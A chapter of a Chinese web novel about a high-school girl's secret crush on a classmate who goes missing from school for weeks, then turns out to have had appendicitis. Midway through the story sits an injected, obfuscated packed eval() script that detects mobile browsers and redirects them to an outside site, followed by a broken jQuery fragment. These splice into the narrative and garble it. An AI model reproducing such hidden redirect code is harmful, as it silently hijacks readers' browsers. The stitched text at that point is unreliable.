回去后，教室里桌上躺着小测结果，只有三个人没做对，王承德让他们去办公室单独讲，又说其他人表现不错，算是过关了。
终于，高一九班盼来了他们明天的体育课。
蝉没完没了的叫，叫得林疏雨心烦。夏夜走廊浸在浓稠的黑夜里，潮热时不时停滞，飞蛾徒劳地撞上灯管。
语文老师在黑板写了一道赏析题，让下晚自习收，她低头翻出书，拿出笔写答案。
诗是晏几道的《鹧鸪天·醉拍春衫惜旧春》
林疏雨看见最后两句。
相思本是无凭语，莫向花笺费泪行。
林疏雨迟钝地意识到。
因为谢屹周而窃喜过的情绪，早晚要还回去。
她根本毫无立场独占这份情绪、这个人。
**
那天林疏雨回家得有点晚，就跟较劲似的，一定要把那张数学卷做的满意，连最后一道大题的最后一问都抠得很仔细。
进门发现客厅灯亮着，许绍国在沙发上看着球赛，林清韵在改教案，听见声音，许绍国指着桌子上的快递朝她笑：“回来了，吃没吃饭。你哥今天寄东西回来了，一会儿看看是什么。”
林疏雨放下书包同样有点惊喜。林清韵从书房出来摘下眼镜。“还特意叮嘱我们不准拆。”又瞥了她一眼往厨房走，“跟谁愿意动你们东西似的。”
林疏雨听这话怪酸，但说完她就眼尖地发现林清韵手上多了个镯子，就故意问：“那哥没给你买礼物？”
许绍国爽朗笑出声。
林清韵拿出一盘水果，瞪许绍国：“笑什么，元嘉现在还没工作，你别天天让孩子给我们买东西。”
许绍国喊冤：“不是我啊，是他自己要买的。孩子有这个心你就收着。”
林疏雨拆开快递，发现是她很喜欢的一册绝版漫画书，国内买不到，她找了好几次代购都说要再等等。
怪不得不让他们拆，许元嘉又在给她打掩护。
林疏雨眼睛亮起，把书藏起来附和许绍国：“是呀妈，哥多好。”
林清韵懒得拆穿林疏雨，只是重复：“好好考试，放假再玩。”
林疏雨从果盘拿走一个桃子，使劲点头：“嗯嗯。”
回到房间林疏雨拿出手机给许元嘉发消息：「收到啦，谢谢哥。」
这个时间点许元嘉大概是在宿舍，没一会儿就回了：「开心点了？」
林疏雨愣怔，她什么时候不开心了。
很久之前的记忆冲破土壤。
许绍国和林清韵在她上初中那年开始接触，林疏雨对父亲这个词语感情很淡薄，比起情绪不稳定没有能力只会带来负面状况的生父，只和母亲生活对她来讲是一种稳定的幸福，许绍国的出现无疑打破了这种平衡。
她害怕再有变动。
那段时间林疏雨其实不太开心，但她不能表现。很多人都说林清韵终于可以歇口气了，一个人带孩子累死了，又说许绍国条件很好，能找这样的不容易。总之她不想成为林清韵的累赘，大多时候都要保持乖巧懂事，才能让别人明白，清韵有个好女儿，会争气。
许元嘉是许绍国的儿子，比她大三岁，半年后，两家搬到一起，许元嘉在她房间隔壁。
她喊哥哥，却不知道怎么去和这个哥哥相处。
但许元嘉似乎明白怎么和她相处。
心情差的时候，许元嘉总会很巧合地拎着一块小蛋糕敲她房门，然后带她玩游戏，教她题，给她做饭，或者骑着自行车载她去哪去哪儿。
林疏雨再傻也能看出许元嘉是在逗她开心。
他好像在努力地做好这个哥哥，尽管她不知道许元嘉为什么能看出她不开心。
林疏雨的童年是孤独的、极缺乏安全感的，许元嘉的陪伴一定程度上弥补了这个缺口。后来林疏雨对许元嘉产生的信任，让她更快接受许绍国。
后来她问许元嘉是怎么看出来的，许元嘉揉她脑袋：“我是你哥，什么事能逃过我的眼。”
他不说，林疏雨闷闷不服。
可又不得不承认，许元嘉真有点厉害。
而对于许元嘉来说，这事真挺简单的。
林疏雨不开心的时候喜欢发呆放空。空镜是她最常见的表达方式，这点或许她自己都没发现。
她总能在无关的事物上看见和她相通的部分，然后不打扰任何人的藏着等情绪消化。许元嘉觉得林疏雨比别人更敏感，也更懂事。
今晚她在微博发了一张照片，幽深的巷弄，闪烁的路灯裹着老旧的琥珀色，电线藏在夜色深处。如果不是不开心，她大概会配文：好黑qaq。
所以他又问：“怎么了，谁惹我妹不开心。”
闷了一晚上的情绪被这句话咬了口子，林疏雨鼻尖一酸眼眶差点模糊。
和要写在人生简历上的节点事件相比，暗恋不过是成长史上不用多提的一件小事。
可就是这么一件小事，像话梅糖白霜上多出的沙粒，吞下去那秒甜，然后不断磨着她直到泛起酸涩。
**
周二的天不算好，天气预报失灵，晴天变成多云。
校园弥漫着暗黄的光，教室里的人也浮躁不安，早读任务写在黑板，但没几个人状态在线。
天空昏沉让树绿更暗，热气笼罩窗外世界，裸在校服外的皮肤渐渐闷出黏腻。聂思思转头看左，只有风迎面拂过才能缓解燥意。
前面谭贞嘀咕：“不会下雨吧。”
聂思思趴在桌上有气无力：“千万不要啊，我的体育课。”
林疏雨把新的纪律表贴好，黑板旁多了四五张考核表公告栏变得更拥挤。
王承德进门满意地看了看考核规则，然后转头训斥：今天早读不是政治吗，说话的是都背完了？”
也不废话，他往讲台一坐巡视教室：“李鸣乐，拿书上来。”
熟悉的抽查出现，教室空气停滞一秒，忽然响起叽里呱啦震天的背诵声。
聂思思腰挺直了，声音鸿亮了，也不在意是不是要下雨了。
自习结束，轻飘飘的雨点如想象一样落在玻璃，滑出长长水渍。
乌云越来越低，唯一一点金色的光也消失不见，教室里的人频频侧目，嘴里难免起抱怨。
“不会吧，体育课还能上吗。”
“悬，估计变室内。”
“这怎么办。”
王承德刚出门，背书声立马变样。
除了林疏雨，她没管也没想。
她不想抱有期待，起码要学着不去期待。
今天的数学课是下午第二节。雨势从大变小，淅淅沥沥断断续续，湿雾模糊视线，又被凉凉的风吹散。
吃过饭，小雨停了。
聂思思不断祈求，千万千万不要再下了。
天公作美，这种状态成功维持，聂思思大松一口气。
因为不是真的体育课，由王承德带领。雨后的操场好像一面打碎的镜子，锈红塑胶跑道上的一点积水倒映着灰云与飞鸟，绿格铁栏被冲刷的崭新，有种特殊的气味。
地面还有点滑容易摔倒，王承德再三强调注意安全，做了准备运动后就直接解散了。
聂思思和林疏雨坐在主席台旁的干净台阶上聊天，他们的视野很开阔，可以看见篮球架上碎银似的光。
大概过了十分钟，聂思思发现件事。
“谢屹周好像不在。”
林疏雨微顿，聂思思拉拉她手臂，重复：“真的，你看看，他是不是不在。”
就算她不去找不去听，那个名字还是会用各种方法闯入她的世界，林疏雨抿抿唇，泄气的耸了肩。
干嘛要给她借口。
干嘛要给她机会。
明明心刚平静。
大部分人都知道谢屹周是校篮球队前锋，所以很好找。
在身边人的撺掇下，林疏雨认命抬头。
看一眼而已，不然才是此地无银三百两。
说服自己，林疏雨带着目的性的看向篮球场，郁郁葱葱的梧桐立了一排，地上依旧飘着青色氤氲的雾气，一线之隔，欢呼与蓬勃的朝气侵入视线。
但没有他。
只一眼，林疏雨就确定谢屹周不在。
聂思思叹了口气，好可惜，以为能看到帅哥的。
这种天气操场人不多，不少班级停课，林疏雨不知道她算不算幸运。
明明已经换课了，明明已经雨停了。
不知道为什么，喜欢的人却不在。
但林疏雨没想到，接下来但一个周都没有看到谢屹周，不管在走廊还是哪里。
他的位子是空的，只有桌子上堆满试卷。
值日表上的名字换了人，朋友身边也不见他。
谢屹周请假了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495771|170178||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她不清楚原因，也无从知晓。
她开始想从别人口中听到他的名字，奇怪的，谈论他的人又少了，偶尔几句谢屹周为什么不来，答案也只有统一的不知道，又或者是五花八门的家里出事了吧。
时间就这样匆匆而过。
一张张试卷翻页，气温好像更高了，雨也来的更为频繁，潮湿黏腻的夏天和墙下郁绿的爬山虎一样，狂妄生长，铺满眼底。
王承德发了一张分科表，开班会强调这次选择的重要性，过了会儿他嗓调慢下来：“回去和家长好好想，兴趣和能力结合起来，教你们最后一个月了，都加把劲。”
“行了，准备自习吧。林疏雨，谭贞，聂思思，李鸣乐，崔俊，你们几个跟我出来。”
天傍晚，王承德开门见山：“你们几个不管怎么选，都冲一下重点，上次李鸣乐和聂思思成绩有退步，这段时间调整状态，拿个好成绩。”
几个人异口同声说知道了。
李鸣乐趁机打听：“老王你教什么，我还跟着你呗。”
老王冷笑：“别跟着我，气不死的。”
“好好对每一场考试，别为了这个为了那个的。”王承德说起去年一对学霸情侣：“非要选一块去，结果分了又闹换科，到时候谁能负责。”
“谁也不能！”
学文这件事林疏雨很早之前就和林清韵达成共识，一是因为林疏雨擅长，她的文科成绩可以稳定在年级前十。二是林清韵本身就是教语文的，对人文历史什么的带点特殊情感。
就好比林疏雨的名字，林清韵怀孕时住处外有一棵白玉兰，她每次望向窗外心情都会很好，当时就觉得肚子里是个女孩。
林疏雨出生那天汀南飘了一场小雨，空气清凉，林清韵看着白嫩嫩眼眸清澈的女孩，一下就想到了这句诗。
“疏疏一帘雨，淡淡满枝花。”
**
交了分科表又是一周。
谢屹周依旧没来。
他不是把自己隐私都摆在别人面前的人，或许和他关系好的那几个男生知道，林疏雨碰见过他们几次，只听到他们说游戏说其他。
“昨晚就是最后一把被江焰那货坑了，晚上烧烤让他请得了。”
零碎的对话被风吹散，和昨天在食堂、周二在楼梯间、周一又在哪里哪里听到的都一样。
她像在收集拼图，但拿到的都是不重要的边角料。
根本猜不到发生了什么。
那天汤兰让林疏雨去领重点押题和必背短语。
暖光斜穿过办公室白色玻璃，林疏雨弯腰清点押题卷，汤兰推来另一摞。
“八班的也带过去。”
汤兰红笔敲了敲成绩单，倏然想起某个人：“顺便让乔欣颖问问谁离谢屹周家近，把他的卷子带过去。”
“两个周不做卷，手生怎么办。”
耳边突然出现那个名字，林疏雨心跳加快一瞬。
停顿几秒，她语气温吞又轻，状似不在意：“老师，他怎么了。”
“阑尾炎，应该养的差不多了。”
吊了两个周的心脏说不上怎么的，被汤兰这句轻飘飘的话放落地。
“要不我去送吧。”
少女声音和身后的闷响重合，谁撞上了铁皮柜，惊动窗台踱步的麻雀，汤兰目光抬起，林疏雨也意识到自己说了什么。
她指甲攥进皮肤，下意识解释：“之前在书店碰见过。”
“应该距离不远。”
汤兰稍微思考觉得那也行：“你办事我放心。”
她递过联系方式，笔在白纸上洇出一团墨，叮嘱林疏雨：“注意安全，自己的复习别耽误。”
“知道的老师。”
林疏雨应得轻快，她走出办公室，玻璃模糊地倒映着少女亮得惊人的眼睛，她慌乱低头，发现卷子边缘已经被她折出了细小锯齿。
而地址前的名字在夏日蝉鸣和光中忽明忽暗。
--
Lin and Xia’s emails --2017.7.07 23:00pm
-好矛盾，明明期待星期二的体育课，又不敢承认。明明在别人口中听见他的名字会失落，又没办法的，想多听一点他的消息。这是我第一次喜欢一个人，别人的暗恋也是这样吗，我不知道。
-不要苛责自己，喜欢他是你的事，不喜欢也是。